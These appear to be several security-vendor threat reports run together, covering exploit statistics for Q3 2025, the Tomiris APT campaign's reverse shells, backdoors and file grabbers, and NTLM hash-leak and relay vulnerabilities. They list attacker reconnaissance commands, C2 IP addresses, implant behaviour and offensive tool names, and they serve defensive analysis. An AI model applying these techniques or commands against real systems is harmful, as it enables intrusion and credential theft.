Windows and Linux vulnerability exploitation
In Q3 2025, as before, the most common exploits targeted vulnerable Microsoft Office products.
Most Windows exploits detected by Kaspersky solutions targeted the following vulnerabilities:
CVE-2018-0802: a remote code execution vulnerability in the Equation Editor component
CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system
These vulnerabilities historically have been exploited by threat actors more frequently than others, as discussed in previous reports. In the third quarter, we also observed threat actors actively exploiting Directory Traversal vulnerabilities that arise during archive unpacking in WinRAR. While the originally published exploits for these vulnerabilities are not applicable in the wild, attackers have adapted them for their needs.
CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within archive contents We discussed this vulnerability in detail in a 2024 report.
CVE-2025-6218 (ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. A malicious actor can extract the archive into a system application or startup directory to execute malicious code. For a more detailed analysis of the vulnerability, see our Q2 2025 report.
CVE-2025-8088: a zero-day vulnerability similar to CVE-2025-6128, discovered during an analysis of APT attacks The attackers used NTFS Streams to circumvent controls on the directory into which files were unpacked. We will take a closer look at this vulnerability below.
It should be pointed out that vulnerabilities discovered in 2025 are rapidly catching up in popularity to those found in 2023.
All the CVEs mentioned can be exploited to gain initial access to vulnerable systems. We recommend promptly installing updates for the relevant software.
Dynamics of the number of Windows users encountering exploits, Q1 2023 — Q3 2025. The number of users who encountered exploits in Q1 2023 is taken as 100% (download)
According to our telemetry, the number of Windows users who encountered exploits increased in the third quarter compared to the previous reporting period. However, this figure is lower than that of Q3 2024.
For Linux devices, exploits for the following OS kernel vulnerabilities were detected most frequently:
CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem. The widespread exploitation of this vulnerability is due to its use of popular memory modification techniques: manipulating “msg_msg” primitives, which leads to a Use-After-Free security flaw.
Dynamics of the number of Linux users encountering exploits, Q1 2023 — Q3 2025. The number of users who encountered exploits in Q1 2023 is taken as 100% (download)
A look at the number of users who encountered exploits suggests that it continues to grow, and in Q3 2025, it already exceeds the Q1 2023 figure by more than six times.
It is critically important to install security patches for the Linux operating system, as it is attracting more and more attention from threat actors each year – primarily due to the growing number of user devices running Linux.
Most common published exploits
In Q3 2025, exploits targeting operating system vulnerabilities continue to predominate over those targeting other software types that we track as part of our monitoring of public research, news, and PoCs. That said, the share of browser exploits significantly increased in the third quarter, matching the share of exploits in other software not part of the operating system.
Distribution of published exploits by platform, Q1 2025 (download)
Distribution of published exploits by platform, Q2 2025 (download)
Distribution of published exploits by platform, Q3 2025 (download)
It is noteworthy that no new public exploits for Microsoft Office products appeared in Q3 2025, just as none did in Q2. However, PoCs for vulnerabilities in Microsoft SharePoint were disclosed. Since these same vulnerabilities also affect OS components, we categorized them under operating system vulnerabilities.
Vulnerability exploitation in APT attacks
We analyzed data on vulnerabilities that were exploited in APT attacks during Q3 2025. The following rankings draw on our telemetry, research, and open-source data.
TOP 10 vulnerabilities exploited in APT attacks, Q3 2025 (download)
APT attacks in Q3 2025 were dominated by zero-day vulnerabilities, which were uncovered during investigations of isolated incidents. A large wave of exploitation followed their public disclosure. Judging by the list of software containing these vulnerabilities, we are witnessing the emergence of a new go-to toolkit for gaining initial access into infrastructure and executing code both on edge devices and within operating systems. It bears mentioning that long-standing vulnerabilities, such as CVE-2017-11882, allow for the use of various data formats and exploit obfuscation to bypass detection. By contrast, most new vulnerabilities require a specific input data format, which facilitates exploit detection and enables more precise tracking of their use in protected infrastructures. Nevertheless, the risk of exploitation remains quite high, so we strongly recommend applying updates already released by vendors.
C2 frameworks
In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks on users during the third quarter of 2025, according to open sources.
Top 10 C2 frameworks used by APT groups to compromise user systems in Q3 2025 (download)
Metasploit, whose share increased compared to Q2, tops the list of the most prevalent C2 frameworks from the past quarter. It is followed by Sliver and Mythic. The Empire framework also reappeared on the list after being inactive in the previous reporting period. What stands out is that Adaptix C2, although fairly new, was almost immediately embraced by attackers in real-world scenarios. Analyzed sources and samples of malicious C2 agents revealed that the following vulnerabilities were used to launch them and subsequently move within the victim’s network:
CVE-2020-1472, also known as ZeroLogon, allows for compromising a vulnerable operating system and executing commands as a privileged user.
CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, also enabling remote access to a vulnerable OS and high-privilege command execution.
CVE-2025-6218 or CVE-2025-8088 are similar Directory Traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user. The first was discovered by researchers but subsequently weaponized by attackers. The second is a zero-day vulnerability.
Interesting vulnerabilities
This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q3 2025 and have a publicly available description.
ToolShell (CVE-2025-49704 and CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771): insecure deserialization and an authentication bypass
ToolShell refers to a set of vulnerabilities in Microsoft SharePoint that allow attackers to bypass authentication and gain full control over the server.
CVE-2025-49704 involves insecure deserialization of untrusted data, enabling attackers to execute malicious code on a vulnerable server.
CVE-2025-49706 allows access to the server by bypassing authentication.
CVE-2025-53770 is a patch bypass for CVE-2025-49704.
CVE-2025-53771 is a patch bypass for CVE-2025-49706.
These vulnerabilities form one of threat actors’ combinations of choice, as they allow for compromising accessible SharePoint servers with just a few requests. Importantly, they were all patched back in July, which further underscores the importance of promptly installing critical patches. A detailed description of the ToolShell vulnerabilities can be found in our blog.
CVE-2025-8088: a directory traversal vulnerability in WinRAR
CVE-2025-8088 is very similar to CVE-2025-6218, which we discussed in our previous report. In both cases, attackers use relative paths to trick WinRAR into extracting archive contents into system directories. This version of the vulnerability differs only in that the attacker exploits Alternate Data Streams (ADS) and can use environment variables in the extraction path.
CVE-2025-41244: a privilege escalation vulnerability in VMware Aria Operations and VMware Tools
Details about this vulnerability were presented by researchers who claim it was used in real-world attacks in 2024.
At the core of the vulnerability lies the fact that an attacker can substitute the command used to launch the Service Discovery component of the VMware Aria tooling or the VMware Tools utility suite. This leads to the unprivileged attacker gaining unlimited privileges on the virtual machine. The vulnerability stems from an incorrect regular expression within the get-versions.sh script in the Service Discovery component, which is responsible for identifying the service version and runs every time a new command is passed.
Conclusion and advice
The number of recorded vulnerabilities continued to rise in Q3 2025, with some being almost immediately weaponized by attackers. The trend is likely to continue in the future.
The most common exploits for Windows are primarily used for initial system access. Furthermore, it is at this stage that APT groups are actively exploiting new vulnerabilities. To hinder attackers’ access to infrastructure, organizations should regularly audit systems for vulnerabilities and apply patches in a timely manner. These measures can be simplified and automated with Kaspersky Systems Management. Kaspersky Next can provide comprehensive and flexible protection against cyberattacks of any complexity.
All statistics in this report come from Kaspersky Security Network (KSN), a global cloud service that receives information from components in our security solutions voluntarily provided by Kaspersky users. Millions of Kaspersky users around the globe assist us in collecting information about malicious activity. The statistics in this report cover the period from November 2024 through October 2025. The report doesn’t cover mobile statistics, which we will share in our annual mobile malware report.
During the reporting period:
48% of Windows users and 29% of macOS users encountered cyberthreats
27% of all Kaspersky users encountered web threats, and 33% users were affected by on-device threats
The highest share of users affected by web threats was in CIS (34%), and local threats were most often detected in Africa (41%)
Kaspersky solutions prevented nearly 1,6 times more password stealer attacks than in the previous year
In APAC password stealer detections saw a 132% surge compared to the previous year
Kaspersky solutions detected 1,5 times more spyware attacks than in the previous year
To find more yearly statistics on cyberthreats view the full report.
While tracking the activities of the Tomiris threat actor, we identified new malicious operations that began in early 2025. These attacks targeted foreign ministries, intergovernmental organizations, and government entities, demonstrating a focus on high-value political and diplomatic infrastructure. In several cases, we traced the threat actor’s actions from initial infection to the deployment of post-exploitation frameworks.
These attacks highlight a notable shift in Tomiris’s tactics, namely the increased use of implants that leverage public services (e.g., Telegram and Discord) as command-and-control (C2) servers. This approach likely aims to blend malicious traffic with legitimate service activity to evade detection by security tools.
Most infections begin with the deployment of reverse shell tools written in various programming languages, including Go, Rust, C/C#/C++, and Python. Some of them then deliver an open-source C2 framework: Havoc or AdaptixC2.
This report in a nutshell:
New implants developed in multiple programming languages were discovered;
Some of the implants use Telegram and Discord to communicate with a C2;
Operators employed Havoc and AdaptixC2 frameworks in subsequent stages of the attack lifecycle.
The infection begins with a phishing email containing a malicious archive. The archive is often password-protected, and the password is typically included in the text of the email. Inside the archive is an executable file. In some cases, the executable’s icon is disguised as an office document icon, and the file name includes a double extension such as .doc<dozen_spaces>.exe. However, malicious executable files without icons or double extensions are also frequently encountered in archives. These files often have very long names that are not displayed in full when viewing the archive, so their extensions remain hidden from the user.
Example of a phishing email containing a malicious archive
Translation:
Subject: The Office of the Government of the Russian Federation on the issue of classification of goods sold in the territory of the Siberian Federal District Body:
Dear colleagues!
In preparation for the meeting of the Executive Office of the Government of the Russian Federation on the classification of projects implemented in the Siberian Federal District as having a significant impact on the
socioeconomic development of the Siberian District, we request your position on the projects listed in the attached file. The Executive Office of the Government of Russian Federation on the classification of
projects implemented in the Siberian Federal District. Password: min@2025
Example of an archive with a malicious executable
When the file is executed, the system becomes infected. However, different implants were often present under the same file names in the archives, and the attackers’ actions varied from case to case.
The implants
Tomiris C/C++ ReverseShell
Tomiris C/C++ ReverseShell infection schema
This implant is a reverse shell that waits for commands from the operator (in most cases that we observed, the infection was human-operated). After a quick environment check, the attacker typically issues a command to download another backdoor – AdaptixC2. AdaptixC2 is a modular framework for post-exploitation, with source code available on GitHub. Attackers use built-in OS utilities like bitsadmin, curl, PowerShell, and certutil to download AdaptixC2. The typical scenario for using the Tomiris C/C++ reverse shell is outlined below.
Environment reconnaissance. The attackers collect various system information, including information about the current user, network configuration, etc.
echo 4fUPU7tGOJBlT6D1wZTUk
whoami
ipconfig /all
systeminfo
hostname
net user /dom
dir
dir C:\users\[username]
Download of the next-stage implant. The attackers try to download AdaptixC2 from several URLs.
Verification of download success. Once the download is complete, the attackers check that AdaptixC2 is present in the target folder and has not been deleted by security solutions.
dir $temp
dir $public\libraries
Establishing persistence for the downloaded payload. The downloaded implant is added to the Run registry key.
This year, we observed three variants of the C/C++ reverse shell whose functionality ultimately provided access to a remote console. All three variants have minimal functionality – they neither replicate themselves nor persist in the system. In essence, if the running process is terminated before the operators download and add the next-stage implant to the registry, the infection ends immediately.
The first variant is likely based on the Tomiris Downloader source code discovered in 2021. This is evident from the use of the same function to hide the application window.
Code of window-hiding function in Tomiris C/C++ ReverseShell and Tomiris Downloader
Below are examples of the key routines for each of the detected variants.
Tomiris C/C++ ReverseShell main routine
Tomiris Rust Downloader
Tomiris Rust Downloader is a previously undocumented implant written in Rust. Although the file size is relatively large, its functionality is minimal.
Tomiris Rust Downloader infection schema
Upon execution, the Trojan first collects system information by running a series of console commands sequentially.
Then it searches for files and compiles a list of their paths. The Trojan is interested in files with the following extensions: .jpg, .jpeg, .png, .txt, .rtf, .pdf, .xlsx, and .docx. These files must be located on drives C:/, D:/, E:/, F:/, G:/, H:/, I:/, or J:/. At the same time, it ignores paths containing the following strings: “.wrangler”, “.git”, “node_modules”, “Program Files”, “Program Files (x86)”, “Windows”, “Program Data”, and “AppData”.
A multipart POST request is used to send the collected system information and the list of discovered file paths to Discord via the URL:
It is worth noting that only the paths to the discovered files are sent to Discord; the Trojan does not transmit the actual files.
The structure of the multipart request is shown below:
Contents of the Content-Disposition header
Description
form-data; name=”payload_json”
System information collected from the infected system via console commands and converted to JSON.
form-data; name=”file”; filename=”files.txt”
A list of files discovered on the drives.
form-data; name=”file2″; filename=”ipconfig.txt”
Results of executing console commands like “ipconfig /all”.
Example of “payload_json”
After sending the request, the Trojan creates two scripts, script.vbs and script.ps1, in the temporary directory. Before dropping script.ps1 to the disk, Rust Downloader creates a URL from hardcoded pieces and adds it to the script. It then executes script.vbs using the cscript utility, which in turn runs script.ps1 via PowerShell. The script.ps1 script runs in an infinite loop with a one-minute delay. It attempts to download a ZIP archive from the URL provided by the downloader, extract it to %TEMP%\rfolder, and execute all unpacked files with the .exe extension. The placeholder <PC_NAME> in script.ps1 is replaced with the name of the infected computer.
It’s worth noting that in at least one case, the downloaded archive contained an executable file associated with Havoc, another open-source post-exploitation framework.
Tomiris Python Discord ReverseShell
The Trojan is written in Python and compiled into an executable using PyInstaller. The main script is also obfuscated with PyArmor. We were able to remove the obfuscation and recover the original script code. The Trojan serves as the initial stage of infection and is primarily used for reconnaissance and downloading subsequent implants. We observed it downloading the AdaptixC2 framework and the Tomiris Python FileGrabber.
The Trojan is based on the “discord” Python package, which implements communication via Discord, and uses the messenger as the C2 channel. Its code contains a URL to communicate with the Discord C2 server and an authentication token. Functionally, the Trojan acts as a reverse shell, receiving text commands from the C2, executing them on the infected system, and sending the execution results back to the C2.
Python Discord ReverseShell
Tomiris Python FileGrabber
As mentioned earlier, this Trojan is installed in the system via the Tomiris Python Discord ReverseShell. The attackers do this by executing the following console command.
The Trojan is written in Python and compiled into an executable using PyInstaller. It collects files with the following extensions into a ZIP archive: .jpg, .png, .pdf, .txt, .docx, and .doc. The resulting archive is sent to the C2 server via an HTTP POST request. During the file collection process, the following folder names are ignored: “AppData”, “Program Files”, “Windows”, “Temp”, “System Volume Information”, “$RECYCLE.BIN”, and “bin”.
Python FileGrabber
Distopia backdoor
Distopia Backdoor infection schema
The backdoor is based entirely on the GitHub repository project “dystopia-c2” and is written in Python. The executable file was created using PyInstaller. The backdoor enables the execution of console commands on the infected system, the downloading and uploading of files, and the termination of processes. In one case, we were able to trace a command used to download another Trojan – Tomiris Python Telegram ReverseShell.
Distopia backdoor
Sequence of console commands executed by attackers on the infected system:
The Trojan is written in Python and compiled into an executable using PyInstaller. The main script is also obfuscated with PyArmor. We managed to remove the obfuscation and recover the original script code. The Trojan uses Telegram to communicate with the C2 server, with code containing an authentication token and a “chat_id” to connect to the bot and receive commands for execution. Functionally, it is a reverse shell, capable of receiving text commands from the C2, executing them on the infected system, and sending the execution results back to the C2.
Initially, we assumed this was an updated version of the Telemiris bot previously used by the group. However, after comparing the original scripts of both Trojans, we concluded that they are distinct malicious tools.
Python Telegram ReverseShell (to the right) and Telemiris (to the left)
Other implants used as first-stage infectors
Below, we list several implants that were also distributed in phishing archives. Unfortunately, we were unable to track further actions involving these implants, so we can only provide their descriptions.
Tomiris C# Telegram ReverseShell
Another reverse shell that uses Telegram to receive commands. This time, it is written in C# and operates using the following credentials:
One of the oldest implants used by malicious actors has undergone virtually no changes since it was first identified in 2022. It is capable of taking screenshots, executing console commands, and uploading files from the infected system to the C2. The current version of the Trojan lacks only the download command.
Tomiris Rust ReverseShell
This Trojan is a simple reverse shell written in the Rust programming language. Unlike other reverse shells used by attackers, it uses PowerShell as the shell rather than cmd.exe.
Strings used by main routine of Tomiris Rust ReverseShell
Tomiris Go ReverseShell
The Trojan is a simple reverse shell written in Go. We were able to restore the source code. It establishes a TCP connection to 62.113.114.209 on port 443, runs cmd.exe and redirects standard command line input and output to the established connection.
Restored code of Tomiris Go ReverseShell
Tomiris PowerShell Telegram Backdoor
The original executable is a simple packer written in C++. It extracts a Base64-encoded PowerShell script from itself and executes it using the following command line:
The extracted script is a backdoor written in PowerShell that uses Telegram to communicate with the C2 server. It has only two key commands:
/upload: Download a file from Telegram using a file_Id identifier provided as a parameter and save it to “C:\Users\Public\Libraries\” with the name specified in the parameter file_name.
/go: Execute a provided command in the console and return the results as a Telegram message.
The script uses the following credentials for communication:
Strings used by main routine of Tomiris PowerShell Telegram Backdoor
Tomiris C# ReverseShell
A simple reverse shell written in C#. It doesn’t support any additional commands beyond console commands.
Tomiris C# ReverseShell main routine
Other implants
During the investigation, we also discovered several reverse SOCKS proxy implants on the servers from which subsequent implants were downloaded. These samples were also found on infected systems. Unfortunately, we were unable to determine which implant was specifically used to download them. We believe these implants are likely used to proxy traffic from vulnerability scanners and enable lateral movement within the network.
Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5)
The implant is a reverse SOCKS proxy written in C++, with code that is almost entirely copied from the GitHub project Neosama/Reverse-SOCKS5. Debugging messages from the original project have been removed, and functionality to hide the console window has been added.
Main routine of Tomiris C++ ReverseSocks
Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5)
The Trojan is a reverse SOCKS proxy written in Golang, with code that is almost entirely copied from the GitHub project Acebond/ReverseSocks5. Debugging messages from the original project have been removed, and functionality to hide the console window has been added.
Difference between the restored main function of the Trojan code and the original code from the GitHub project
Victims
Over 50% of the spear-phishing emails and decoy files in this campaign used Russian names and contained Russian text, suggesting a primary focus on Russian-speaking users or entities. The remaining emails were tailored to users in Turkmenistan, Kyrgyzstan, Tajikistan, and Uzbekistan, and included content in their respective national languages.
Attribution
In our previous report, we described the JLORAT tool used by the Tomiris APT group. By analyzing numerous JLORAT samples, we were able to identify several distinct propagation patterns commonly employed by the attackers. These patterns include the use of long and highly specific filenames, as well as the distribution of these tools in password-protected archives with passwords in the format “xyz@2025” (for example, “min@2025” or “sib@2025”). These same patterns were also observed with reverse shells and other tools described in this article. Moreover, different malware samples were often distributed under the same file name, indicating their connection. Below is a brief list of overlaps among tools with similar file names:
Filename (for convenience, we used the asterisk character to substitute numerous space symbols before file extension)
Tool
аппарат правительства российской федерации по вопросу отнесения реализуемых на территории сибирского федерального округа*.exe
(translated: Federal Government Agency of the Russian Federation regarding the issue of designating objects located in the Siberian Federal District*.exe)
We also analyzed the group’s activities and found other tools associated with them that may have been stored on the same servers or used the same servers as a C2 infrastructure. We are highly confident that these tools all belong to the Tomiris group.
Conclusions
The Tomiris 2025 campaign leverages multi-language malware modules to enhance operational flexibility and evade detection by appearing less suspicious. The primary objective is to establish remote access to target systems and use them as a foothold to deploy additional tools, including AdaptixC2 and Havoc, for further exploitation and persistence.
The evolution in tactics underscores the threat actor’s focus on stealth, long-term persistence, and the strategic targeting of government and intergovernmental organizations. The use of public services for C2 communications and multi-language implants highlights the need for advanced detection strategies, such as behavioral analysis and network traffic inspection, to effectively identify and mitigate such threats.
Flip phones grew popular, Windows XP debuted on personal computers, Apple introduced the iPod, peer-to-peer file sharing via torrents was taking off, and MSN Messenger dominated online chat. That was the tech scene in 2001, the same year when Sir Dystic of Cult of the Dead Cow published SMBRelay, a proof-of-concept that brought NTLM relay attacks out of theory and into practice, demonstrating a powerful new class of authentication relay exploits.
Ever since that distant 2001, the weaknesses of the NTLM authentication protocol have been clearly exposed. In the years that followed, new vulnerabilities and increasingly sophisticated attack methods continued to shape the security landscape. Microsoft took up the challenge, introducing mitigations and gradually developing NTLM’s successor, Kerberos. Yet more than two decades later, NTLM remains embedded in modern operating systems, lingering across enterprise networks, legacy applications, and internal infrastructures that still rely on its outdated mechanisms for authentication.
Although Microsoft has announced its intention to retire NTLM, the protocol remains present, leaving an open door for attackers who keep exploiting both long-standing and newly discovered flaws.
In this blog post, we take a closer look at the growing number of NTLM-related vulnerabilities uncovered over the past year, as well as the cybercriminal campaigns that have actively weaponized them across different regions of the world.
How NTLM authentication works
NTLM (New Technology LAN Manager) is a suite of security protocols offered by Microsoft and intended to provide authentication, integrity, and confidentiality to users.
In terms of authentication, NTLM is a challenge-response-based protocol used in Windows environments to authenticate clients and servers. Such protocols depend on a shared secret, typically the client’s password, to verify identity. NTLM is integrated into several application protocols, including HTTP, MSSQL, SMB, and SMTP, where user authentication is required. It employs a three-way handshake between the client and server to complete the authentication process. In some instances, a fourth message is added to ensure data integrity.
The full authentication process appears as follows:
The client sends a NEGOTIATE_MESSAGE to advertise its capabilities.
The server responds with a CHALLENGE_MESSAGE to verify the client’s identity.
The client encrypts the challenge using its secret and responds with an AUTHENTICATE_MESSAGE that includes the encrypted challenge, the username, the hostname, and the domain name.
The server verifies the encrypted challenge using the client’s password hash and confirms its identity. The client is then authenticated and establishes a valid session with the server. Depending on the application layer protocol, an authentication confirmation (or failure) message may be sent by the server.
Importantly, the client’s secret never travels across the network during this process.
NTLM is dead — long live NTLM
Despite being a legacy protocol with well-documented weaknesses, NTLM continues to be used in Windows systems and hence actively exploited in modern threat campaigns. Microsoft has announced plans to phase out NTLM authentication entirely, with its deprecation slated to begin with Windows 11 24H2 and Windows Server 2025 (1, 2, 3), where NTLMv1 is removed completely, and NTLMv2 disabled by default in certain scenarios. Despite at least three major public notices since 2022 and increased documentation and migration guidance, the protocol persists, often due to compatibility requirements, legacy applications, or misconfigurations in hybrid infrastructures.
As recent disclosures show, attackers continue to find creative ways to leverage NTLM in relay and spoofing attacks, including new vulnerabilities. Moreover, they introduce alternative attack vectors inherent to the protocol, which will be further explored in the post, specifically in the context of automatic downloads and malware execution via WebDAV following NTLM authentication attempts.
Persistent threats in NTLM-based authentication
NTLM presents a broad threat landscape, with multiple attack vectors stemming from its inherent design limitations. These include credential forwarding, coercion-based attacks, hash interception, and various man-in-the-middle techniques, all of them exploiting the protocol’s lack of modern safeguards such as channel binding and mutual authentication. Prior to examining the current exploitation campaigns, it is essential to review the primary attack techniques involved.
Hash leakage
Hash leakage refers to the unintended exposure of NTLM authentication hashes, typically caused by crafted files, malicious network paths, or phishing techniques. This is a passive technique that doesn’t require any attacker actions on the target system. A common scenario involving this attack vector starts with a phishing attempt that includes (or links to) a file designed to exploit native Windows behaviors. These behaviors automatically initiate NTLM authentication toward resources controlled by the attacker. Leakage often occurs through minimal user interaction, such as previewing a file, clicking on a remote link, or accessing a shared network resource. Once attackers have the hashes, they can reuse them in a credential forwarding attack.
Coercion-based attacks
In coercion-based attacks, the attacker actively forces the target system to authenticate to an attacker-controlled service. No user interaction is needed for this type of attack. For example, tools like PetitPotam or PrinterBug are commonly used to trigger authentication attempts over protocols such as MS-EFSRPC or MS-RPRN. Once the victim system begins the NTLM handshake, the attacker can intercept the authentication hash or relay it to a separate target, effectively impersonating the victim on another system. The latter case is especially impactful, allowing immediate access to file shares, remote management interfaces, or even Active Directory Certificate Services, where attackers can request valid authentication certificates.
Credential forwarding
Credential forwarding refers to the unauthorized reuse of previously captured NTLM authentication tokens, typically hashes, to impersonate a user on a different system or service. In environments where NTLM authentication is still enabled, attackers can leverage previously obtained credentials (via hash leakage or coercion-based attacks) without cracking passwords. This is commonly executed through Pass-the-Hash (PtH) or token impersonation techniques. In networks where NTLM is still in use, especially in conjunction with misconfigured single sign-on (SSO) or inter-domain trust relationships, credential forwarding may provide extensive access across multiple systems.
This technique is often used to facilitate lateral movement and privilege escalation, particularly when high-privilege credentials are exposed. Tools like Mimikatz allow extraction and injection of NTLM hashes directly into memory, while Impacket’s wmiexec.py, PsExec.py, and secretsdump.py can be used to perform remote execution or credential extraction using forwarded hashes.
Man-in-the-Middle (MitM) attacks
An attacker positioned between a client and a server can intercept, relay, or manipulate authentication traffic to capture NTLM hashes or inject malicious payloads during the session negotiation. In environments where safeguards such as digital signing or channel binding tokens are missing, these attacks are not only possible but frequently easy to execute.
Among MitM attacks, NTLM relay remains the most enduring and impactful method, so much so that it has remained relevant for over two decades. Originally demonstrated in 2001 through the SMBRelay tool by Sir Dystic (member of Cult of the Dead Cow), NTLM relay continues to be actively used to compromise Active Directory environments in real-world scenarios. Commonly used tools include Responder, Impacket’s NTLMRelayX, and Inveigh. When NTLM relay occurs within the same machine from which the hash was obtained, it is also referred to as NTLM reflexion attack.
NTLM exploitation in 2025
Over the past year, multiple vulnerabilities have been identified in Windows environments where NTLM remains enabled implicitly. This section highlights the most relevant CVEs reported throughout the year, along with key attack vectors observed in real-world campaigns.
CVE-2024‑43451
CVE-2024‑43451 is a vulnerability in Microsoft Windows that enables the leakage of NTLMv2 password hashes with minimal or no user interaction, potentially resulting in credential compromise.
The vulnerability exists thanks to the continued presence of the MSHTML engine, a legacy component originally developed for Internet Explorer. Although Internet Explorer has been officially deprecated, MSHTML remains embedded in modern Windows systems for backward compatibility, particularly with applications and interfaces that still rely on its rendering or link-handling capabilities. This dependency allows .url files to silently invoke NTLM authentication processes through crafted links without necessarily being open. While directly opening the malicious .url file reliably triggers the exploit, the vulnerability may also be activated through alternative user actions such as right clicking, deleting, single-clicking, or just moving the file to a different folder.
Attackers can exploit this flaw by initiating NTLM authentication over SMB to a remote server they control (specifying a URL in UNC path format), thereby capturing the user’s hash. By obtaining the NTLMv2 hash, an attacker can execute a pass-the-hash attack (e.g. by using tools like WMIExec or PSExec) to gain network access by impersonating a valid user, without the need to know the user’s actual credentials.
A particular case of this vulnerability occurs when attackers use WebDAV servers, a set of extensions to the HTTP protocol, which enables collaboration on files hosted on web servers. In this case, a minimal interaction with the malicious file, such as a single click or a right click, triggers automatic connection to the server, file download, and execution. The attackers use this flaw to deliver malware or other payloads to the target system. They also may combine this with hash leaking, for example, by installing a malicious tool on the victim system and using the captured hashes to perform lateral movement through that tool.
The vulnerability was addressed by Microsoft in its November 2024 security updates. In patched environments, motion, deletion, right-clicking the crafted .url file, etc. won’t trigger a connection to a malicious server. However, when the user opens the exploit, it will still work.
After the disclosure, the number of attacks exploiting the vulnerability grew exponentially. By July this year, we had detected around 600 suspicious .url files that contain the necessary characteristics for the exploitation of the vulnerability and could represent a potential threat.
BlindEagle campaign delivering Remcos RAT via CVE-2024-43451
BlindEagle is an APT threat actor targeting Latin American entities, which is known for their versatile campaigns that mix espionage and financial attacks. In late November 2024, the group started a new attack targeting Colombian entities, using the Windows vulnerability CVE-2024-43451 to distribute Remcos RAT. BlindEagle created .url files as a novel initial dropper. These files were delivered through phishing emails impersonating Colombian government and judicial entities and using alleged legal issues as a lure. Once the recipients were convinced to download the malicious file, simply interacting with it would trigger a request to a WebDAV server controlled by the attackers, from which a modified version of Remcos RAT was downloaded and executed. This version contained a module dedicated to stealing cryptocurrency wallet credentials.
The attackers executed the malware automatically by specifying port 80 in the UNC path. This allowed the connection to be made directly using the WebDAV protocol over HTTP, thereby bypassing an SMB connection. This type of connection also leaks NTLM hashes. However, we haven’t seen any subsequent usage of these hashes.
Following this campaign and throughout 2025, the group persisted in launching multiple attacks using the same initial attack vector (.url files) and continued to distribute Remcos RAT.
We detected more than 60 .url files used as initial droppers in BlindEagle campaigns. These were sent in emails impersonating Colombian judicial authorities. All of them communicated via WebDAV with servers controlled by the group and initiated the attack chain that used ShadowLadder or Smoke Loader to finally load Remcos RAT in memory.
Head Mare campaigns against Russian targets abusing CVE-2024-43451
Another attack detected after the Microsoft disclosure involves the hacktivist group Head Mare. This group is known for perpetrating attacks against Russian and Belarusian targets.
In past campaigns, Head Mare exploited various vulnerabilities as part of its techniques to gain initial access to its victims’ infrastructure. This time, they used CVE 2024-43451. The group distributed a ZIP file via phishing emails under the name “Договор на предоставление услуг №2024-34291” (“Service Agreement No. 2024-34291”). This had a .url file named “Сопроводительное письмо.docx” (translated as “Cover letter.docx”).
The .url file connected to a remote SMB server controlled by the group under the domain:
The domain resolved to the IP address 45.87.246.40 belonging to the ASN 212165, used by the group in the campaigns previously reported by our team.
According to our telemetry data, the ZIP file was distributed to more than a hundred users, 50% of whom belong to the manufacturing sector, 35% to education and science, and 5% to government entities, among other sectors. Some of the targets interacted with the .url file.
To achieve their goals at the targeted companies, Head Mare used a number of publicly available tools, including open-source software, to perform lateral movement and privilege escalation, forwarding the leaked hashes. Among these tools detected in previous attacks are Mimikatz, Secretsdump, WMIExec, and SMBExec, with the last three being part of the Impacket suite tool.
In this campaign, we detected attempts to exploit the vulnerability CVE-2023-38831 in WinRAR, used as an initial access in a campaign that we had reported previously, and in two others, we found attempts to use tools related to Impacket and SMBMap.
The attack, in addition to collecting NTLM hashes, involved the distribution of the PhantomCore malware, part of the group’s arsenal.
CVE-2025-24054/CVE-2025-24071
CVE-2025-24071 and CVE-2025-24054, initially registered as two different vulnerabilities, but later consolidated under the second CVE, is an NTLM hash leak vulnerability affecting multiple Windows versions, including Windows 11 and Windows Server. The vulnerability is primarily exploited through specially crafted files, such as .library-ms files, which cause the system to initiate NTLM authentication requests to attacker-controlled servers.
This exploitation is similar to CVE-2024-43451 and requires little to no user interaction (such as previewing a file), enabling attackers to capture NTLMv2 hashes and gain unauthorized access or escalate privileges within the network. The most common and widespread exploitation of this vulnerability occurs with .library-ms files inside ZIP/RAR archives, as it is easy to trick users into opening or previewing them. In most incidents we observed, the attackers used ZIP archives as the distribution vector.
Trojan distribution in Russia via CVE-2025-24054
In Russia, we identified a campaign distributing malicious ZIP archives with the subject line “акт_выполненных_работ_апрель” (certificate of work completed April). These files inside the archives masqueraded as .xls spreadsheets but were in fact .library-ms files that automatically initiated a connection to servers controlled by the attackers. The malicious files contained the same embedded server IP address 185.227.82.72.
When the vulnerability was exploited, the file automatically connected to that server, which also hosted versions of the AveMaria Trojan (also known as Warzone) for distribution. AveMaria is a remote access Trojan (RAT) that gives attackers remote control to execute commands, exfiltrate files, perform keylogging, and maintain persistence.
CVE-2025-33073
CVE-2025-33073 is a high-severity NTLM reflection vulnerability in the Windows SMB client’s access control. An authenticated attacker within the network can manipulate SMB authentication, particularly via local relay, to coerce a victim’s system into authenticating back to itself as SYSTEM. This allows the attacker to escalate privileges and execute code at the highest level.
The vulnerability relies on a flaw in how Windows determines whether a connection is local or remote. By crafting a specific DNS hostname that partially overlaps with the machine’s own name, an attacker can trick the system into believing the authentication request originates from the same host. When this happens, Windows switches into a “local authentication” mode, which bypasses the normal NTLM challenge-response exchange and directly injects the user’s token into the host’s security subsystem. If the attacker has coerced the victim into connecting to the crafted hostname, the token provided is essentially the machine’s own, granting the attacker privileged access on the host itself.
This behavior emerges because the NTLM protocol sets a special flag and context ID whenever it assumes the client and server are the same entity. The attacker’s manipulation causes the operating system to treat an external request as internal, so the injected token is handled as if it were trusted. This self-reflection opens the door for the adversary to act with SYSTEM-level privileges on the target machine.
